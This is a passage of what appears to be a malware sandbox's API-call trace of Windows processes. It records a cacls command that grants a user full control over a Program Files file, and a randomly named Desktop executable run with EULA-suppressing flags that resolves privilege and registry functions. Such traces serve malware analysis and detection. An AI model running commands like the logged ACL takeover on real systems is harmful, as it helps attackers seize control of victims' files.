[0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.727] SetLastError (dwErrCode=0x0) [0084.727] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.728] SetLastError (dwErrCode=0x0) [0084.728] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.729] SetLastError (dwErrCode=0x0) [0084.729] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetLastError () returned 0x0 [0084.730] SetLastError (dwErrCode=0x0) [0084.730] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x12e2b4 | out: lpMode=0x12e2b4) returned 1 [0084.731] WriteFile (in: hFile=0x7, lpBuffer=0x12e980*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x12e2a0, lpOverlapped=0x0 | out: lpBuffer=0x12e980*, lpNumberOfBytesWritten=0x12e2a0*=0x3a, lpOverlapped=0x0) returned 1 [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.732] SetLastError (dwErrCode=0x0) [0084.732] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.733] SetLastError (dwErrCode=0x0) [0084.733] GetLastError () returned 0x0 [0084.734] SetLastError (dwErrCode=0x0) [0084.734] GetLastError () returned 0x0 [0084.748] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1b0090 | out: hHeap=0x190000) returned 1 [0084.748] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x12fe58 | out: phModule=0x12fe58) returned 0 [0084.749] RtlExitUserProcess (ExitCode=0x1) [0084.749] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1af060 | out: hHeap=0x190000) returned 1 Process: id = "157" image_name = "cacls.exe" filename = "c:\\windows\\syswow64\\cacls.exe" page_root = "0x7cbf000" os_pid = "0xcf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "147" os_parent_pid = "0xc8c" cmd_line = "cacls \"C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\" /E /G 5p5NrGJn0jS HALPmcxz:F /C" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 711 os_tid = 0xcf8 Process: id = "158" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x5c93000" os_pid = "0xcfc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "154" os_parent_pid = "0xcd8" cmd_line = "bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 712 os_tid = 0xd00 [0085.470] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0085.470] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0085.471] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0085.472] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0085.473] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0085.474] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0085.475] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0085.476] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0085.476] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0085.476] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0085.476] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0085.477] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0085.477] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0085.477] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0085.477] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0085.477] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0085.478] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0085.478] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0085.478] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0085.478] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0085.478] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0085.478] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0085.478] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0085.478] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0085.479] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0085.479] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0085.479] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0085.479] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0085.487] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0085.488] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xd69de340, dwHighDateTime=0x1d5d06a)) [0085.488] GetCurrentThreadId () returned 0xd00 [0085.488] GetCurrentProcessId () returned 0xcfc [0085.488] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=22743983898) returned 1 [0085.488] GetProcessHeap () returned 0x520000 [0085.488] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 0x76e21252 [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="FlsSetValue") returned 0x76e24208 [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionEx") returned 0x76e24d28 [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventExW") returned 0x76ea410b [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSemaphoreExW") returned 0x76ea4195 [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadStackGuarantee") returned 0x76e2d31f [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolTimer") returned 0x76e3ee7e [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolTimer") returned 0x7736441c [0085.489] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7738c50e [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolTimer") returned 0x7738c381 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThreadpoolWait") returned 0x76e3f088 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadpoolWait") returned 0x773705d7 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="CloseThreadpoolWait") returned 0x7738ca24 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="FlushProcessWriteBuffers") returned 0x77340b8c [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x773ffde8 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessorNumber") returned 0x77391e1d [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="GetLogicalProcessorInformation") returned 0x76ea4761 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="CreateSymbolicLinkW") returned 0x76e9cd11 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="EnumSystemLocalesEx") returned 0x76ea424f [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="CompareStringEx") returned 0x76ea46b1 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="GetDateFormatEx") returned 0x76eb6676 [0085.490] GetProcAddress (hModule=0x76e10000, lpProcName="GetLocaleInfoEx") returned 0x76ea4751 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="GetTimeFormatEx") returned 0x76eb65f1 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="GetUserDefaultLocaleName") returned 0x76ea47c1 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidLocaleName") returned 0x76ea47e1 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringEx") returned 0x76ea47f1 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentPackageId") returned 0x0 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="GetTickCount64") returned 0x76e3eee0 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0085.491] GetProcAddress (hModule=0x76e10000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0085.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3bc) returned 0x5360c8 [0085.494] GetCurrentThreadId () returned 0xd00 [0085.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x18) returned 0x536490 [0085.494] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x800) returned 0x5364b0 [0085.494] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x9ced9575, hStdError=0x0)) [0085.494] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0085.494] GetFileType (hFile=0x3) returned 0x2 [0085.926] GetStdHandle (nStdHandle=0xfffffff5) returned 0x80 [0085.926] GetFileType (hFile=0x80) returned 0x3 [0085.926] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0085.926] GetFileType (hFile=0xb) returned 0x2 [0085.926] GetCommandLineW () returned="bv6ncK8c.exe -accepteula \"To_Do_List.jtp\" -nobanner" [0085.926] GetEnvironmentStringsW () returned 0x536cb8* [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb84) returned 0x537848 [0085.927] FreeEnvironmentStringsW (penv=0x536cb8) returned 1 [0085.927] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x78) returned 0x52f8e8 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0xa0) returned 0x536cb8 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x3e) returned 0x5383f0 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x6c) returned 0x536d60 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x6e) returned 0x536dd8 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x78) returned 0x52f968 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x62) returned 0x536e50 [0085.927] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x8, Size=0x2e) returned 0x536ec0 [0085.927] RtlAllocateHeap 